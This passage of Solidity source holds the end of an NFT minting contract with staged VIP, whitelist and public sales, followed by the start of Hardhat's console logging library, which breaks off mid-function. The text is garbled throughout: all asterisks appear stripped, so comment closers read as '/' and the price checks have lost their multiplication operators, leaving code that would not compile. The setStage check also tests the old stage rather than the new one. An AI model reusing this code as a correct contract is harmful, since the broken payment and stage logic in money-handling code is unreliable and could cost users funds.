revealed; string public notRevealedUri; IERC721 public OG; //sale stages: //stage 0: init(no minting) //stage 1: free-mint //stage 2: pre-sale, OGs are included in here //stage 2.5: whitelisted can mint an extra 2, increase presaleMintMax to 4 //stage 3: public sale Counters.Counter public tokenSupply; uint8 public stage = 0; mapping(uint256 => bool) public isOGMinted; mapping(uint256 => uint8) public OGWhitelistMintCount; uint256 public VIP_PASSES = 888; uint256 public presaleSalePrice = 0.077 ether; uint256 public presaleSupply = 6666; uint256 public presaleMintMax = 2; mapping(address => uint8) public presaleMintCount; mapping(address => uint8) public vipMintCount; // For Whitelist Sale mapping(address => uint256) public publicMintCount; //public sale (stage=3) uint256 public publicSalePrice = 0.088 ether; uint256 public publicMintMax = 2; uint256 public totalSaleSupply = 8888; //others bool public paused = false; //sale holders address[2] public fundRecipients = [ 0xaDDfdc72494E29A131B1d4d6668184840f1Fc30C, 0xcD7BCAc7Ee5c18d8cC1374B62F09cf67e6432a08 ]; uint256[] public receivePercentagePt = [7000]; //distribution in basis points // Off-chain whitelist address private signerAddress; mapping(bytes => bool) private _nonceUsed; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, address _newOwner, address _signerAddress, address ogCollection ) ERC721(_name, _symbol) { setNotRevealedURI(_initBaseURI); signerAddress = _signerAddress; transferOwnership(_newOwner); OG = IERC721(ogCollection); } event VIPMint(address indexed to, uint256 tokenId); event WhitelistMint(address indexed to, uint256 tokenId); event PublicMint(address indexed to, uint256 mintAmount); event DevMint(uint256 count); event Airdrop(address indexed to, uint256 tokenId); /* * @notice Performs respective minting condition checks depending on stage of minting * @param tokenIds tokenIds of VIP Pass * @dev Stage 1: OG Mints, Free Claim for OG Pass Holders * @dev Each Pass can only be used once to claim * @dev Minter must be owner of OG pass to claim / function vipMint(uint256[] memory tokenIds) public { require(!paused, "FuDaoVerseDAN: Contract is paused"); require(stage > 0, "FuDaoVerseDAN: Minting has not started"); for (uint256 i; i < tokenIds.length; i++) { require( OG.ownerOf(tokenIds[i]) == msg.sender, "FuDaoVerseDAN: Claimant is not the owner!" ); require( !isOGMinted[tokenIds[i]], "FuDaoVerseDAN: OG Token has already been used!" ); _vipMint(tokenIds[i]); } } function _vipMint(uint256 tokenId) internal { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); isOGMinted[tokenId] = true; VIP_PASSES--; emit VIPMint(msg.sender, tokenSupply.current()); } /* * @notice VIP Whitelist Mint. VIPs are automatically whitelisted and can use their Mint pass to mint * @param _mintAmount Amount minted for vipWhitelistMint * @dev Stage 2: Presale Mints, VIP Automatically whitelisted * @dev 2 VIP Whitelist Mints at stage 2, another 2 VIP Whitelist Mints at stage 2.5 * @dev Minter must hold an OG pass to VIP Whitelist Mint / function vipWhitelistMint(uint8 _mintAmount) public payable { require(!paused, "FuDaoVerseDAN: Contract is paused"); require(stage == 2, "FuDaoVerseDAN: Private Sale Closed!"); require( msg.value == _mintAmount presaleSalePrice, "FuDaoVerseDAN: Insufficient ETH!" ); require( tokenSupply.current() + _mintAmount <= presaleSupply, "FuDaoVerseDAN: Max Supply for Presale Mint Reached!" ); require( OG.balanceOf(msg.sender) > 0, "FuDaoVerseDAN: Claimant does not own a mint pass" ); require( presaleMintCount[msg.sender] + _mintAmount <= presaleMintMax, "FuDaoVerseDAN: Claimant has exceeded VIP Whitelist Mint Max!" ); presaleMintCount[msg.sender] += _mintAmount; for (uint8 i; i < _mintAmount; i++) { _vipWhitelistMint(); } } function _vipWhitelistMint() internal { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); emit VIPMint(msg.sender, tokenSupply.current()); } /** * @notice Performs respective minting condition checks depending on stage of minting * @param _mintAmount Amount that is minted * @param nonce Random bytes32 nonce * @param signature Signature generated off-chain * @dev Stage 1: OG Mints, Free Claim for OG Pass Holders * @dev Each Pass can only be used once to claim / function whitelistMint( uint8 _mintAmount, bytes memory signature, bytes memory nonce ) public payable { require(!paused, "FuDaoVerseDAN: Contract is paused"); require(stage == 2, "FuDaoVerseDAN: Private Sale Closed!"); require(!_nonceUsed[nonce], "FuDaoVerseDAN: Nonce already used"); _nonceUsed[nonce] = true; require( whitelistSigned(msg.sender, nonce, signature), "FuDaoVerseDAN: Invalid signature!" ); require( tokenSupply.current() + _mintAmount <= presaleSupply, "FuDaoVerseDAN: Max Supply for Presale Mint Reached!" ); require( msg.value == _mintAmount presaleSalePrice, "FuDaoVerseDAN: Insufficient ETH!" ); require( presaleMintCount[msg.sender] + _mintAmount <= presaleMintMax, "FuDaoVerseDAN: Wallet has already minted Max Amount for Presale!" ); presaleMintCount[msg.sender] += _mintAmount; for (uint256 i; i < _mintAmount; i++) { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); emit WhitelistMint(msg.sender, tokenSupply.current()); } } /** * @notice Public Mint * @param _mintAmount Amount that is minted * @dev Stage 3: Public Mint / function publicMint(uint8 _mintAmount) public payable { require(!paused, "FuDaoVerseDAN: Contract is paused"); require(stage == 3, "FuDaoVerseDAN: Public Sale Closed!"); require( msg.value == _mintAmount publicSalePrice, "FuDaoVerseDAN: Insufficient ETH!" ); require( tokenSupply.current() + _mintAmount <= totalSaleSupply - VIP_PASSES, "FuDaoVerseDAN: Max Supply for Public Mint Reached!" ); require( publicMintCount[msg.sender] + _mintAmount <= publicMintMax, "FuDaoVerseDAN: Wallet has already minted Max Amount for Public!" ); publicMintCount[msg.sender] += _mintAmount; // FIX: Gas Optimization for (uint256 i; i < _mintAmount; i++) { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); emit PublicMint(msg.sender, tokenSupply.current()); } } /** * @dev Mints NFTS to the owner's wallet * @param _mintAmount Amount to mint / function devMint(uint8 _mintAmount) public onlyOwner { require( tokenSupply.current() + _mintAmount <= totalSaleSupply, "FuDaoVerseDAN: Max Supply Reached!" ); for (uint256 i; i < _mintAmount; i++) { tokenSupply.increment(); _safeMint(msg.sender, tokenSupply.current()); } emit DevMint(_mintAmount); } /* * @dev Airdrops NFTs to the list of addresses provided * @param addresses List of airdrop recepients / function airdrop(address[] memory addresses) public onlyOwner { require( tokenSupply.current() + addresses.length <= totalSaleSupply, "FuDaoVerseDAN: Max Supply Reached!" ); for (uint256 i; i < addresses.length; i++) { tokenSupply.increment(); _safeMint(addresses[i], tokenSupply.current()); emit Airdrop(addresses[i], tokenSupply.current()); } } /* * @dev Checks if the the signature is signed by a valid signer for whitelists * @param sender Address of minter * @param nonce Random bytes32 nonce * @param signature Signature generated off-chain / function whitelistSigned( address sender, bytes memory nonce, bytes memory signature ) private view returns (bool) { bytes32 hash = keccak256(abi.encodePacked(sender, nonce)); return signerAddress == hash.recover(signature); } // ------------------------- VIEW FUNCTIONS ----------------------------- /* * @notice Returns metadata URI for sepecified token id * @param tokenId Token Id to retrieve metadata * @return Metadata URI / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), ".json" ) ) : ""; } /* * @notice Total NFTs Minted / function totalSupply() public view returns (uint256) { return tokenSupply.current(); } // ------------------------- ADMIN FUNCTIONS ----------------------------- /* * @dev Set Mint Stage / function setStage(uint8 _stage) public onlyOwner { require(stage < 4, "FuDaoVerseDAN: Exceeded maximum number of stages"); stage = _stage; } /* * @dev Set Revealed Metadata URI / function setBaseURI(string memory _newBaseURI) public onlyOwner { require(!revealed); baseURI = _newBaseURI; } /* * @dev Set Presale maximum amount of mints / function setPresaleMintMax(uint256 amount) public onlyOwner { presaleMintMax = amount; } /* * @dev Set the unrevealed URI * @param _notRevealedURI unrevealed URI for metadata / function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } /* * @dev Set Revealed state of NFT metadata / function reveal() public onlyOwner { revealed = true; } /* * @dev Switches pause state to `_state` * @param _state Pause State / function pause(bool _state) public onlyOwner { paused = _state; } /* * @dev Emergency Function to withdraw any ETH deposited to this contract / function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } /* * @dev requires currentBalance of contract to have some amount * @dev withdraws with the fixed define distribution / function withdrawFund() public onlyOwner { uint256 currentBal = address(this).balance; require(currentBal > 0); for (uint256 i = 0; i < fundRecipients.length - 1; i++) { _withdraw( fundRecipients[i], (currentBal receivePercentagePt[i]) / 10000 ); } //final address receives remainder to prevent ether dust _withdraw( fundRecipients[fundRecipients.length - 1], address(this).balance ); } /** * @dev private function utilized by withdrawFund * @param _addr Address of receiver * @param _amt Amount to withdraw / function _withdraw(address _addr, uint256 _amt) private { (bool success, ) = _addr.call{value: _amt}(""); require(success, "Transfer failed"); } /* * @dev retrieve base URI internally */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool 